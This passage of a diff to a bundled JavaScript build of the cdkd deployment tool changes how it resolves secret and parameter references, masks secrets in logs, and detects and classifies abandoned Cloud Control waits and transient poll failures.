26483
+ }
26484
+ /** Recursively resolve a value. */
25196
26485
  async resolveValue(value, context) {
25197
26486
  if (typeof value !== "object" || value === null) {
25198
26487
  if (typeof value === "string" && value.includes("{{resolve:")) return await this.resolveDynamicReferences(value, context);
@@ -25222,7 +26511,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
25222
26511
  if (unknownIntrinsicKey !== void 0) throw buildUnknownIntrinsicError(unknownIntrinsicKey);
25223
26512
  const resolved = {};
25224
26513
  for (const [key, val] of Object.entries(obj)) {
25225
- const resolvedVal = await this.resolveValue(val, context);
26514
+ const resolvedVal = context.abandonedResolutions === void 0 ? await this.resolveValue(val, context) : await this.resolveKeyUnit(key, val, context, context.abandonedResolutions);
25226
26515
  if (resolvedVal !== AWS_NO_VALUE) {
25227
26516
  if (key === "__proto__") Object.defineProperty(resolved, key, {
25228
26517
  value: resolvedVal,
@@ -26491,7 +27780,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
26491
27780
  };
26492
27781
  variables[key] = resolved.result;
26493
27782
  variableTwins[key] = resolved.twin;
26494
- } else variables[key] = await this.resolveValue(val, context);
27783
+ } else variables[key] = context.abandonedResolutions === void 0 ? await this.resolveValue(val, context) : await this.resolveKeyUnit(key, val, context, context.abandonedResolutions);
26495
27784
  } else template = subArgs;
26496
27785
  const replacements = [];
26497
27786
  const matches = template.matchAll(/\$\{(!)?([^}]*)\}/g);
@@ -27353,6 +28642,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
27353
28642
  }
27354
28643
  throw new Error(`Fn::GetStackOutput: stack '${loggedStackName}' not found in region '${loggedRegion}'${roleArn ? ` (cross-account via ${roleArn})` : ""}. ${!roleArn && this.cfnFallback ? "Searched cdkd state and CloudFormation stacks. Make sure the producer stack has been deployed (via cdkd or CloudFormation)." : `Make sure the producer stack has been deployed via cdkd.`}`);
27355
28644
  }
28645
+ if (!hasReadableOutputs(stateData.state)) throw markNonRetryable(new MalformedProducerRecordRefusalError(`Fn::GetStackOutput: the state record of producer stack '${loggedStackName}' (${loggedRegion}) has no readable 'outputs' map — the record is malformed or truncated. cdkd refuses to resolve from it rather than reading it as a map: 'Object.hasOwn' answers TRUE for '0' on a string and for an index on a list, so continuing would resolve ONE CHARACTER or element of the record as this reference's value and this deploy would send it to AWS. Inspect the producer's record with 'cdkd state show' --json, repair or remove it, then re-run.`));
27356
28646
  const outputs = stateData.state.outputs ?? {};
27357
28647
  if (!Object.hasOwn(outputs, outputName)) {
27358
28648
  const available = this.describeAvailableOutputs(Object.keys(outputs), context);
@@ -27719,6 +29009,27 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
27719
29009
  return this.maskNeedlesForLog(text, context) !== text ? "***" : registered;
27720
29010
  }
27721
29011
  /**
29012
+ * Build one {@link AbandonedResolution}, masking BOTH of its text fields.
29013
+ *
29014
+ * One constructor for both walks so neither can grow a second masking rule:
29015
+ * `subject` and `message` are the only fields a consumer may render, and each
29016
+ * carries its own route to a plaintext — an assembled reference puts one in
29017
+ * the raw token (issue #2827), and an SDK rejection arrives RAW through
29018
+ * `sendWithThrottleRetry` echoing the `Name` it was handed. `error` is kept
29019
+ * unmasked on purpose and is documented as classification-only.
29020
+ */
29021
+ abandonedUnit(unit, subject, error, context, rawInput, preRedact) {
29022
+ const raw = error instanceof Error ? error.message : String(error);
29023
+ return {
29024
+ unit,
29025
+ subject: this.maskSecretsForLog(subject, context),
29026
+ message: this.maskSecretsForLog(preRedact === void 0 ? raw : preRedact(raw), context),
29027
+ error,
29028
+ carriedDynamicReference: carriesDynamicReference(rawInput),
29029
+ carriedFetchableReference: carriesFetchableDynamicReference(rawInput)
29030
+ };
29031
+ }
29032
+ /**
27722
29033
  * The needle mask alone: {@link maskSecretsForLog} without the log-twin
27723
29034
  * lookup. For the two DETECTORS that must ask the needle mask apart from the
27724
29035
  * position mask: `logTwinText`, which asks it of a value that already has a
@@ -28130,77 +29441,92 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
28130
29441
  const pairedTwin = tokensAligned ? twinTokens[index] : void 0;
28131
29442
  const tokenLogText = inherited?.tokenLogText ?? (pairedTwin === void 0 ? "***" : this.straddleSafeTwin(fullMatch, pairedTwin, context));
28132
29443
  const nameLogText = inherited?.nameLogText ?? (pairedTwin === void 0 ? () => "***" : this.dynamicReferenceNameLogText(inner, pairedTwin, context));
28133
- const isKnownSecret = service === "secretsmanager" || service === "ssm-secure" || recordedSecretExpressions.has(fullMatch);
28134
- if (isKnownSecret && context?.skipDynamicReferences) continue;
28135
- const regionVerdict = classifyReplaySecretRegion(fullMatch, this.explicitRegion ?? this.resolverRegion, context?.producerRegions);
28136
- if (regionVerdict.kind === "ambiguous") throw markNonRetryable(new DynamicReferenceRegionAmbiguousError(`Refusing to resolve the secret reference ${this.maskSecretsForLog(tokenLogText, context)}: it names '${this.maskSecretsForLog(nameLogText(regionVerdict.secretName), context)}' without a region, and this stack reads from ${this.maskSecretsForLog(regionVerdict.foreignProducerRegions.map((r) => this.maskSecretsForLog(r, context)).join(", "), context)} as well as its own region. cdkd cannot tell which one must answer, and resolving against the wrong one yields a different secret. Spell the reference as a full ARN to say which region owns it.`));
28137
- if (regionVerdict.kind === "named-region") {
28138
- const foreign = await this.resolverForProducerRegion(regionVerdict.region, context, nameLogText(regionVerdict.region)).resolveDynamicReferencesWithLogTwin(fullMatch, fullMatch, withoutProducerRegions(context), {
28139
- tokenLogText,
28140
- nameLogText
28141
- });
28142
- result = result.replace(fullMatch, () => foreign.result);
28143
- twin = twin.replace(fullMatch, () => foreign.twin);
28144
- continue;
28145
- }
28146
- const cached = this.cachedDynamicReferences.get(fullMatch);
28147
- if (cached) {
28148
- if (cached.secret && cached.value) {
28149
- context?.recordedSecretValues?.set(cached.value, fullMatch);
28150
- if (context?.recordedSecretValues) recordResolvedPair(context.recordedSecretValues, fullMatch, cached.value);
29444
+ try {
29445
+ const isKnownSecret = service === "secretsmanager" || service === "ssm-secure" || recordedSecretExpressions.has(fullMatch);
29446
+ if (isKnownSecret && context?.skipDynamicReferences) continue;
29447
+ const regionVerdict = classifyReplaySecretRegion(fullMatch, this.explicitRegion ?? this.resolverRegion, context?.producerRegions);
29448
+ if (regionVerdict.kind === "ambiguous") throw markNonRetryable(new DynamicReferenceRegionAmbiguousError(`Refusing to resolve the secret reference ${this.maskSecretsForLog(tokenLogText, context)}: it names '${this.maskSecretsForLog(nameLogText(regionVerdict.secretName), context)}' without a region, and this stack reads from ${this.maskSecretsForLog(regionVerdict.foreignProducerRegions.map((r) => this.maskSecretsForLog(r, context)).join(", "), context)} as well as its own region. cdkd cannot tell which one must answer, and resolving against the wrong one yields a different secret. Spell the reference as a full ARN to say which region owns it.`));
29449
+ if (regionVerdict.kind === "named-region") {
29450
+ const foreign = await this.resolverForProducerRegion(regionVerdict.region, context, nameLogText(regionVerdict.region)).resolveDynamicReferencesWithLogTwin(fullMatch, fullMatch, withoutProducerRegions(context), {
29451
+ tokenLogText,
29452
+ nameLogText
29453
+ });
29454
+ result = result.replace(fullMatch, () => foreign.result);
29455
+ twin = twin.replace(fullMatch, () => foreign.twin);
29456
+ continue;
28151
29457
  }
28152
- result = result.replace(fullMatch, () => cached.value);
28153
- twin = twin.replace(fullMatch, () => cached.secret && cached.value ? "***" : cached.value);
28154
- continue;
28155
- }
28156
- const parts = inner.split(":");
28157
- let resolved;
28158
- let isSecret = isKnownSecret;
28159
- /**
28160
- * May the resolved value be REMEMBERED, or must the next pass re-ask?
28161
- *
28162
- * Cleared for exactly the answers the verdict store refuses to pin — an
28163
- * ssm parameter judged secret from a `Type` that is not a definitive
28164
- * `SecureString` (issue #1901's fail-closed arm). Caching one would pin
28165
- * the transient answer for the whole resolver anyway, which is what the
28166
- * refusal to memoize exists to prevent: before the value cache became
28167
- * instance-scoped this was already true process-wide, and the
28168
- * "next pass re-asks" property only ever held on the comparison path,
28169
- * which caches nothing (issue #1933).
28170
- */
28171
- let cacheable = true;
28172
- if (service === "secretsmanager") resolved = await this.resolveSecretsManagerReference(inner, context, nameLogText);
28173
- else if (service === "ssm") {
28174
- const decrypt = context?.skipDynamicReferences !== true;
28175
- const param = await this.resolveSSMReference(parts, decrypt, "ssm", context, nameLogText);
28176
- if (param.type === "SecureString") this.pinSecretVerdict(fullMatch, true);
28177
- else if (!param.secure) this.pinSecretVerdict(fullMatch, false);
28178
- else cacheable = false;
28179
- isSecret = param.secure;
28180
- if (param.secure) {
28181
- if (!decrypt) continue;
29458
+ const cached = this.cachedDynamicReferences.get(fullMatch);
29459
+ if (cached) {
29460
+ if (cached.secret && cached.value) {
29461
+ context?.recordedSecretValues?.set(cached.value, fullMatch);
29462
+ if (context?.recordedSecretValues) recordResolvedPair(context.recordedSecretValues, fullMatch, cached.value);
29463
+ }
29464
+ result = result.replace(fullMatch, () => cached.value);
29465
+ twin = twin.replace(fullMatch, () => cached.secret && cached.value ? "***" : cached.value);
29466
+ continue;
28182
29467
  }
28183
- resolved = param.value;
28184
- } else if (service === "ssm-secure") {
28185
- const param = await this.resolveSSMReference(parts, true, "ssm-secure", context, nameLogText);
28186
- if (!param.secure) throw markNonRetryable(new IntrinsicResolutionRefusalError(`Refusing to resolve ${this.maskSecretsForLog(tokenLogText, context)}: the parameter is a ${param.type} parameter, and the ssm-secure spelling is defined for SecureString parameters only. Reference it as {{resolve:ssm:...}} if it is public configuration.`));
28187
- isSecret = true;
28188
- resolved = param.value;
28189
- } else {
28190
- this.logger.warn(this.maskSecretsForLog(`Unsupported dynamic reference service: ${this.maskSecretsForLog(nameLogText(String(service)), context)}`, context));
29468
+ const parts = inner.split(":");
29469
+ let resolved;
29470
+ let isSecret = isKnownSecret;
29471
+ /**
29472
+ * May the resolved value be REMEMBERED, or must the next pass re-ask?
29473
+ *
29474
+ * Cleared for exactly the answers the verdict store refuses to pin — an
29475
+ * ssm parameter judged secret from a `Type` that is not a definitive
29476
+ * `SecureString` (issue #1901's fail-closed arm). Caching one would pin
29477
+ * the transient answer for the whole resolver anyway, which is what the
29478
+ * refusal to memoize exists to prevent: before the value cache became
29479
+ * instance-scoped this was already true process-wide, and the
29480
+ * "next pass re-asks" property only ever held on the comparison path,
29481
+ * which caches nothing (issue #1933).
29482
+ */
29483
+ let cacheable = true;
29484
+ if (service === "secretsmanager") resolved = await this.resolveSecretsManagerReference(inner, context, nameLogText);
29485
+ else if (service === "ssm") {
29486
+ const decrypt = context?.skipDynamicReferences !== true;
29487
+ const param = await this.resolveSSMReference(parts, decrypt, "ssm", context, nameLogText);
29488
+ if (param.type === "SecureString") this.pinSecretVerdict(fullMatch, true);
29489
+ else if (!param.secure) this.pinSecretVerdict(fullMatch, false);
29490
+ else cacheable = false;
29491
+ isSecret = param.secure;
29492
+ if (param.secure) {
29493
+ if (!decrypt) continue;
29494
+ }
29495
+ resolved = param.value;
29496
+ } else if (service === "ssm-secure") {
29497
+ const param = await this.resolveSSMReference(parts, true, "ssm-secure", context, nameLogText);
29498
+ if (!param.secure) throw markNonRetryable(new IntrinsicResolutionRefusalError(`Refusing to resolve ${this.maskSecretsForLog(tokenLogText, context)}: the parameter is a ${param.type} parameter, and the ssm-secure spelling is defined for SecureString parameters only. Reference it as {{resolve:ssm:...}} if it is public configuration.`));
29499
+ isSecret = true;
29500
+ resolved = param.value;
29501
+ } else {
29502
+ this.logger.warn(this.maskSecretsForLog(`Unsupported dynamic reference service: ${this.maskSecretsForLog(nameLogText(String(service)), context)}`, context));
29503
+ continue;
29504
+ }
29505
+ if (cacheable) this.cachedDynamicReferences.set(fullMatch, {
29506
+ value: resolved,
29507
+ secret: isSecret
29508
+ });
29509
+ if (isSecret && resolved) {
29510
+ context?.recordedSecretValues?.set(resolved, fullMatch);
29511
+ if (context?.recordedSecretValues) recordResolvedPair(context.recordedSecretValues, fullMatch, resolved);
29512
+ if (service === "secretsmanager" || service === "ssm-secure") this.pinSecretVerdict(fullMatch, true);
29513
+ }
29514
+ result = result.replace(fullMatch, () => resolved);
29515
+ twin = twin.replace(fullMatch, () => isSecret && resolved ? "***" : resolved);
29516
+ } catch (err) {
29517
+ if (context?.abandonedResolutions === void 0) throw err;
29518
+ if (isDeliberateResolutionRefusal(err)) throw err;
29519
+ context.abandonedResolutions.push(this.abandonedUnit("token", tokenLogText, err, context, fullMatch, (text) => {
29520
+ let out = text;
29521
+ const segments = [...new Set(inner.split(":"))].filter((segment) => segment.length > 0).sort((a, b) => b.length - a.length);
29522
+ for (const segment of segments) {
29523
+ const logged = nameLogText(segment);
29524
+ if (logged !== segment) out = out.split(segment).join(logged);
29525
+ }
29526
+ return out;
29527
+ }));
28191
29528
  continue;
28192
29529
  }
28193
- if (cacheable) this.cachedDynamicReferences.set(fullMatch, {
28194
- value: resolved,
28195
- secret: isSecret
28196
- });
28197
- if (isSecret && resolved) {
28198
- context?.recordedSecretValues?.set(resolved, fullMatch);
28199
- if (context?.recordedSecretValues) recordResolvedPair(context.recordedSecretValues, fullMatch, resolved);
28200
- if (service === "secretsmanager" || service === "ssm-secure") this.pinSecretVerdict(fullMatch, true);
28201
- }
28202
- result = result.replace(fullMatch, () => resolved);
28203
- twin = twin.replace(fullMatch, () => isSecret && resolved ? "***" : resolved);
28204
29530
  }
28205
29531
  if (context) this.rememberLogTwin(context, result, twin);
28206
29532
  return {
@@ -29343,6 +30669,99 @@ function slowCcOperationTimeoutMs(resourceType, operation) {
29343
30669
  }
29344
30670
  }
29345
30671
 
30672
+ //#endregion
30673
+ //#region src/provisioning/wait-abandoned.ts
30674
+ /**
30675
+ * The "cdkd stopped watching an operation that may still be running" marker
30676
+ * (issue [#3236](https://github.com/go-to-k/cdkd/issues/3236), widened by
30677
+ * [#3253](https://github.com/go-to-k/cdkd/issues/3253)).
30678
+ *
30679
+ * `CloudControlWaitAbandonedError` is raised in `cloud-control-provider.ts`,
30680
+ * but FIVE call sites have to refuse it, and three of them live in other
30681
+ * files. Four are GOVERNED by
30682
+ * `tests/unit/provisioning/wait-abandoned-guard-population.test.ts`:
30683
+ *
30684
+ * - `cloud-control-provider.ts`'s own `delete()` catch,
30685
+ * - `deploy-engine.ts`'s replacement delete-then-CREATE arm,
30686
+ * - `deploy-engine.ts`'s template-removal delete arm,
30687
+ * - `destroy-runner.ts`'s per-resource delete loop.
30688
+ *
30689
+ * The FIFTH is `cleanupFailedCreateRemnant`, and it is outside that population
30690
+ * by construction rather than by oversight: its partner classifier is the
30691
+ * REGEX helper `isNotFoundMessage`, which carries no literal needles, so no
30692
+ * needle-driven scan can find it. It has a behavioural case instead, and it
30693
+ * needs the guard for a sharper reason than the other four — that regex is
30694
+ * case-INSENSITIVE, so `getaddrinfo ENOTFOUND ...` matches `/not\s*found/i`.
30695
+ *
30696
+ * Each decides "the resource is already gone" by SUBSTRING-matching the error
30697
+ * message, and each then DROPS the state row. An abandoned wait says the
30698
+ * opposite — the delete may still be running — and its message interpolates
30699
+ * the LOGICAL ID and the last-seen IDENTIFIER, both user- or template-chosen,
30700
+ * so a resource named `PageNotFound` satisfies those needles. Round 1 of
30701
+ * go-to-k/cdkd#3249 guarded the first site with a local `instanceof` and left
30702
+ * the other three, which is what this module exists to fix: ONE predicate the
30703
+ * three foreign sites can import without importing the provider.
30704
+ *
30705
+ * **A marker rather than an exported class + `instanceof`**, for the reason
30706
+ * `markNonRetryable` is one: `deploy-engine.ts` reaches the provider only
30707
+ * through `ProviderRegistry`, so importing the class there would add an edge
30708
+ * into an already dense ring, and a marker survives a wrapper that copies a
30709
+ * message without preserving a prototype.
30710
+ *
30711
+ * **NOT `markNonRetryable`**, though the mechanism is identical: a DELETE or
30712
+ * UPDATE abandonment is deliberately left RETRYABLE so the destroy runner can
30713
+ * re-issue an idempotent delete, and only CREATE is marked. Reusing that
30714
+ * marker would either make the guards miss DELETE — the case that drops a
30715
+ * state row — or make a DELETE non-retryable and lose the recovery.
30716
+ *
30717
+ * A LEAF: no imports, ever. All four consumers sit on the deploy engine ->
30718
+ * rollback executor -> registry -> provider ring, and a new edge into it from
30719
+ * any of them would close a cycle.
30720
+ */
30721
+ const WAIT_ABANDONED_MARKER = Symbol.for("cdkd.waitAbandoned");
30722
+ /**
30723
+ * The `.cause` walk depth, the same bound `retryable-errors.ts` uses. cdkd
30724
+ * wraps errors, so the marked error is routinely one or two hops down.
30725
+ */
30726
+ const MAX_CAUSE_CHAIN_DEPTH = 5;
30727
+ /**
30728
+ * Stamp an error as an abandoned wait.
30729
+ *
30730
+ * `E extends Error`, not `object`: the reader below is a PROTOTYPE-CHAIN
30731
+ * lookup, so marking a class or a shared prototype would silently mark every
30732
+ * instance of it. A non-extensible (frozen / sealed) error is returned
30733
+ * UNMARKED rather than allowed to throw — callers use this inline, so a
30734
+ * `TypeError` raised here would REPLACE the error the caller meant to raise.
30735
+ * Both rules are `markNonRetryable`'s, for its reasons.
30736
+ */
30737
+ function markWaitAbandoned(error) {
30738
+ if (!Object.isExtensible(error)) return error;
30739
+ Object.defineProperty(error, WAIT_ABANDONED_MARKER, {
30740
+ value: true,
30741
+ enumerable: false,
30742
+ configurable: true,
30743
+ writable: false
30744
+ });
30745
+ return error;
30746
+ }
30747
+ /**
30748
+ * True when the error, or anything in its bounded `.cause` chain, was marked
30749
+ * by {@link markWaitAbandoned}.
30750
+ *
30751
+ * Every already-deleted classifier must test this BEFORE its substring match,
30752
+ * and must treat a true answer as "not already deleted" — i.e. re-throw. The
30753
+ * ordering is the whole point: a message-first guard has already decided by
30754
+ * the time it would consult the marker.
30755
+ */
30756
+ function isWaitAbandonedError(error) {
30757
+ let current = error;
30758
+ for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
30759
+ if (current[WAIT_ABANDONED_MARKER] === true) return true;
30760
+ current = current.cause;
30761
+ }
30762
+ return false;
30763
+ }
30764
+
29346
30765
  //#endregion
29347
30766
  //#region src/provisioning/cloud-control-provider.ts
29348
30767
  /**
@@ -29411,6 +30830,227 @@ var CloudControlOperationFailedError = class CloudControlOperationFailedError ex
29411
30830
  }
29412
30831
  };
29413
30832
  /**
30833
+ * Thrown when cdkd STOPPED WAITING on a Cloud Control operation it had already
30834
+ * submitted — never when the operation itself reported a verdict (issue
30835
+ * [#3236](https://github.com/go-to-k/cdkd/issues/3236)).
30836
+ *
30837
+ * Deliberately NOT a subclass of {@link CloudControlOperationFailedError}, and
30838
+ * the distinction is load-bearing in three places that key off that class:
30839
+ * `cleanupFailedCreateRemnant`'s first guard, `delete()`'s structured
30840
+ * `ErrorCode: NotFound` absorption, and `isUpdateUnsupportedError`'s chain
30841
+ * walk. All three ask "what did the handler report", and the answer here is
30842
+ * NOTHING — the handler was still running when cdkd lost sight of it. In
30843
+ * particular the remnant cleanup must not fire: it deletes by
30844
+ * `error.physicalId`, and an identifier seen on an IN_PROGRESS event names a
30845
+ * resource whose create may be about to SUCCEED.
30846
+ *
30847
+ * Carries {@link requestToken} because that token is the only handle on an
30848
+ * operation cdkd has no state record for, and Cloud Control keeps a request's
30849
+ * status queryable by it well after the operation settles. Before this class
30850
+ * the token lived only in `waitForOperation`'s parameter list, so a poll that
30851
+ * threw discarded it and the resource — which AWS went on to create — became
30852
+ * invisible to state, to rollback and to `cdkd destroy`.
30853
+ *
30854
+ * **The protection is the MARKER, not the wording** — `markWaitAbandoned` in
30855
+ * the constructor below, which four already-deleted classifiers test before
30856
+ * their substring match (`src/provisioning/wait-abandoned.ts` names them;
30857
+ * `.claude/rules/cloud-control-wait.md` carries the whole contract). An
30858
+ * earlier revision of this comment said the wording was the protection, and
30859
+ * that is exactly what review disproved: the message interpolates the LOGICAL
30860
+ * ID and the last-seen IDENTIFIER, both user- or template-chosen, so a
30861
+ * resource named `PageNotFound` satisfies every needle no matter how carefully
30862
+ * the template is worded.
30863
+ *
30864
+ * The wording constraint is still KEPT as a second layer — the message avoids
30865
+ * the phrases where it can, the same discipline `src/deployment/delete-outcome.ts`
30866
+ * and `src/provisioning/nested-stack-messages.ts` carry, and
30867
+ * `tests/unit/provisioning/cloud-control-wait-abandoned.test.ts` asserts it
30868
+ * over the RENDERED message (cause text and identifier clause included) rather
30869
+ * than over the template. But it is belt to the marker's braces. Do not reword
30870
+ * this comment back into a claim that it suffices.
30871
+ */
30872
+ var CloudControlWaitAbandonedError = class CloudControlWaitAbandonedError extends ProvisioningError {
30873
+ requestToken;
30874
+ ccOperation;
30875
+ /**
30876
+ * The `Identifier` from the last progress event cdkd managed to read, when
30877
+ * one carried it. Cloud Control populates it on IN_PROGRESS events once the
30878
+ * handler has materialized the resource, so on a CREATE this is frequently
30879
+ * the physical id of the very resource that is about to go untracked — worth
30880
+ * printing, and deliberately NOT worth acting on (see the remnant-cleanup
30881
+ * note above).
30882
+ */
30883
+ lastSeenIdentifier;
30884
+ constructor(message, resourceType, logicalId, requestToken, ccOperation, lastSeenIdentifier, cause) {
30885
+ super(message, resourceType, logicalId, lastSeenIdentifier, cause);
30886
+ this.requestToken = requestToken;
30887
+ this.ccOperation = ccOperation;
30888
+ this.lastSeenIdentifier = lastSeenIdentifier;
30889
+ this.name = "CloudControlWaitAbandonedError";
30890
+ Object.setPrototypeOf(this, CloudControlWaitAbandonedError.prototype);
30891
+ markWaitAbandoned(this);
30892
+ }
30893
+ };
30894
+ /**
30895
+ * Node / undici socket-level failure codes, i.e. the request never reached
30896
+ * Cloud Control or its response never came back.
30897
+ *
30898
+ * Mirrors `@smithy/service-error-classification`'s own
30899
+ * `NODEJS_TIMEOUT_ERROR_CODES` (`ECONNRESET` / `ECONNREFUSED` / `EPIPE` /
30900
+ * `ETIMEDOUT`), widened by the DNS and route shapes a dropped VPN also
30901
+ * produces. The SDK already retries every one of these under STANDARD mode —
30902
+ * three attempts, sub-second — so an error that reaches cdkd here is one the
30903
+ * SDK's own budget did not outlast, not one it declined to retry.
30904
+ */
30905
+ const POLL_TRANSPORT_ERROR_CODES = /* @__PURE__ */ new Set([
30906
+ "ECONNRESET",
30907
+ "ECONNREFUSED",
30908
+ "ECONNABORTED",
30909
+ "EPIPE",
30910
+ "ETIMEDOUT",
30911
+ "ENOTFOUND",
30912
+ "EAI_AGAIN",
30913
+ "EHOSTUNREACH",
30914
+ "ENETUNREACH",
30915
+ "ENETDOWN",
30916
+ "EPROTO"
30917
+ ]);
30918
+ /** SDK error names for a request that timed out or was aborted in transit. */
30919
+ const POLL_TRANSPORT_ERROR_NAMES = /* @__PURE__ */ new Set([
30920
+ "TimeoutError",
30921
+ "RequestTimeout",
30922
+ "RequestTimeoutException",
30923
+ "RequestAbortedException"
30924
+ ]);
30925
+ /**
30926
+ * Matches one of {@link POLL_TRANSPORT_ERROR_CODES} as a whole word inside a
30927
+ * message that lost its `code` property.
30928
+ *
30929
+ * DERIVED from the set rather than hand-spelled, so the two can never disagree
30930
+ * about which codes count — and so the pattern cannot be wrong about a code's
30931
+ * LENGTH, which a hand-written `E[A-Z]{3,10}` was: it is eleven characters
30932
+ * after the `E` in `ECONNREFUSED`, the exact code the issue reported, so the
30933
+ * arm silently matched nothing for the case it was added for.
30934
+ */
30935
+ const POLL_TRANSPORT_CODE_IN_MESSAGE = new RegExp(`\\b(?:${[...POLL_TRANSPORT_ERROR_CODES].join("|")})\\b`);
30936
+ /**
30937
+ * The `.cause` walk depth. It is `retryable-errors.ts`'s `MAX_CAUSE_CHAIN_DEPTH`
30938
+ * VALUE, and equality is the requirement rather than a coincidence: a transport
30939
+ * code this predicate finds at a depth `isThrottlingError` /
30940
+ * `isMarkedNonRetryable` / `isRetryableTransientError` structurally cannot
30941
+ * reach means two classifiers answering differently about one chain, which is
30942
+ * the divergence this area keeps collapsing. A literal because that constant is
30943
+ * module-private there, and `tests/unit/provisioning/cloud-control-wait-abandoned.test.ts`
30944
+ * pins the pair by building a chain one hop deeper than the bound and asserting
30945
+ * BOTH refuse it -- a claim an earlier revision made with no such case behind
30946
+ * it, which is exactly the shape a fence audit greps for.
30947
+ *
30948
+ * cdkd wraps errors (`ProvisioningError` keeps the raw one as `cause`), so the
30949
+ * socket error is routinely one or two hops down; the bound also keeps a cyclic
30950
+ * chain from hanging the classifier.
30951
+ */
30952
+ const POLL_CAUSE_CHAIN_DEPTH = 5;
30953
+ /**
30954
+ * Decide what a `GetResourceRequestStatus` failure may say outside `--verbose`.
30955
+ *
30956
+ * ONE function because there are TWO readers and they must not disagree about
30957
+ * one error: `abandonWait`, whose message is persisted verbatim into
30958
+ * `deployments/{runId}.jsonl`, and the re-poll `logger.warn`, which runs at
30959
+ * DEFAULT verbosity. They were separate, and the gap was reachable rather than
30960
+ * theoretical -- `POLL_TRANSPORT_CODE_IN_MESSAGE` matches a socket code
30961
+ * ANYWHERE in the message, so a `credential_process` stderr that happens to
30962
+ * contain `ETIMEDOUT` classifies as transient, and the warn printed the helper
30963
+ * argv and stderr on every re-poll while the abandonment that eventually
30964
+ * followed reduced them.
30965
+ *
30966
+ * The authorship decision is `describeAwsFailure`'s, not a local copy. It was
30967
+ * one for a while: this module fixed the `$metadata`-presence defect before the
30968
+ * shared helper could, and carried its own three-arm predicate with a comment
30969
+ * saying why. Issue [#3297](https://github.com/go-to-k/cdkd/issues/3297) fixed
30970
+ * the helper and deleted the duplicate, so one error can no longer be
30971
+ * classified two ways. The measurements behind those arms -- what smithy stamps
30972
+ * and on what, why credential resolution carries neither signal, and which
30973
+ * `*ProviderError` siblings are deliberately left raw -- live with the
30974
+ * predicate now, in `aws-failure-text.ts`.
30975
+ */
30976
+ function describePollFailure(error) {
30977
+ if (error === void 0) return {
30978
+ display: "",
30979
+ detail: "",
30980
+ marker: false
30981
+ };
30982
+ if (!(error instanceof Error)) {
30983
+ const other = describeAwsFailure(error);
30984
+ return {
30985
+ display: other.summary,
30986
+ detail: other.detail,
30987
+ marker: false
30988
+ };
30989
+ }
30990
+ const described = describeAwsFailure(error);
30991
+ if (!described.redacted) return {
30992
+ display: error.message,
30993
+ detail: "",
30994
+ marker: false
30995
+ };
30996
+ if (error.message === "") return {
30997
+ display: "",
30998
+ detail: "",
30999
+ marker: false
31000
+ };
31001
+ return {
31002
+ display: described.summary,
31003
+ detail: described.detail,
31004
+ marker: true
31005
+ };
31006
+ }
31007
+ /**
31008
+ * True when a `GetResourceRequestStatus` call failed for a reason that says
31009
+ * nothing about the OPERATION — the poll could not be delivered or answered,
31010
+ * so re-polling the same token is the correct response.
31011
+ *
31012
+ * Fail-CLOSED: an unmodelled shape answers false, so the wait is not RETRIED.
31013
+ * It is still ABANDONED rather than aborted bare — the caller carries the
31014
+ * request token out on that arm too, since losing the handle is issue #3236's
31015
+ * defect whatever the trigger. The safe direction here is about retrying, not
31016
+ * about reporting: the errors this must NOT absorb are the ones a retry can
31017
+ * only re-derive —
31018
+ * `RequestTokenNotFoundException` (the token is genuinely gone),
31019
+ * `AccessDeniedException`, `ValidationException`.
31020
+ *
31021
+ * Throttles and transient 5xx are in scope alongside transport, and not as a
31022
+ * generalization for its own sake: they are the same defect with a different
31023
+ * trigger, and the throttle case is the WORSE of the two today. The abort
31024
+ * is retryable by BOTH routes the classifier offers — `isThrottlingError`'s
31025
+ * chain walk over the threaded cause, and (before the cause is reduced to its
31026
+ * wire code) AWS's own `Rate exceeded` wording against
31027
+ * `RETRYABLE_ERROR_MESSAGE_PATTERNS` — so the deploy engine's outer `withRetry`
31028
+ * re-invokes `create()` and duplicates a resource that is already being created
31029
+ * (go-to-k/cdkd#2039), where the transport case merely loses track of one.
31030
+ * Measured, not assumed: `isRetryableTransientError` answers true for a
31031
+ * throttle and false for `connect ECONNREFUSED ...`.
31032
+ *
31033
+ * The message arm exists for a wrapper that dropped `.code` while keeping the
31034
+ * text. It is scoped by its SOURCE — the only input is an error thrown by the
31035
+ * SDK out of `cloudControlClient.send`, never template- or user-authored text
31036
+ * — so an `E`-prefixed token there denotes a socket error rather than
31037
+ * something a user happened to type.
31038
+ */
31039
+ function isTransientPollFailure(error) {
31040
+ if (isThrottlingError(error) || isTransientServerError(error)) return true;
31041
+ let current = error;
31042
+ for (let depth = 0; depth < POLL_CAUSE_CHAIN_DEPTH && current != null; depth++) {
31043
+ const code = current.code;
31044
+ if (typeof code === "string" && POLL_TRANSPORT_ERROR_CODES.has(code)) return true;
31045
+ const name = current.name;
31046
+ if (typeof name === "string" && POLL_TRANSPORT_ERROR_NAMES.has(name)) return true;
31047
+ const message = current.message;
31048
+ if (typeof message === "string" && POLL_TRANSPORT_CODE_IN_MESSAGE.test(message)) return true;
31049
+ current = current.cause;
31050
+ }
31051
+ return false;
31052
+ }
31053
+ /**
29414
31054
  * Matches service-worded "the resource is gone" failure messages, including
29415
31055
  * shapes whose wording lacks the canonical `not found` substring (CodeDeploy:
29416
31056
  * "No Deployment Group found for name: ..."). Deliberately scoped to the
@@ -29614,6 +31254,34 @@ var CloudControlProvider = class {
29614
31254
  MAX_WAIT_TIME_MS = 9e5;
29615
31255
  INITIAL_POLL_INTERVAL_MS = 1e3;
29616
31256
  MAX_POLL_INTERVAL_MS = 1e4;
31257
+ /**
31258
+ * How long an UNBROKEN run of transient poll failures is tolerated before
31259
+ * `waitForOperation` gives up and throws {@link CloudControlWaitAbandonedError}
31260
+ * (issue #3236). Reset by any poll that gets an answer, so it measures one
31261
+ * outage rather than a session's total flakiness.
31262
+ *
31263
+ * It is a SECOND bound INSIDE the existing wall-clock budget, never an
31264
+ * extension of one: the `while` condition below still holds, so re-polling
31265
+ * can only consume time the wait already had. `slow-cc-operation-timeouts.ts`
31266
+ * couples that budget to the two outer per-resource deadlines deliberately,
31267
+ * and a separate attempt budget able to outlive it would break the coupling.
31268
+ *
31269
+ * Two minutes because the failures that reach this loop have already
31270
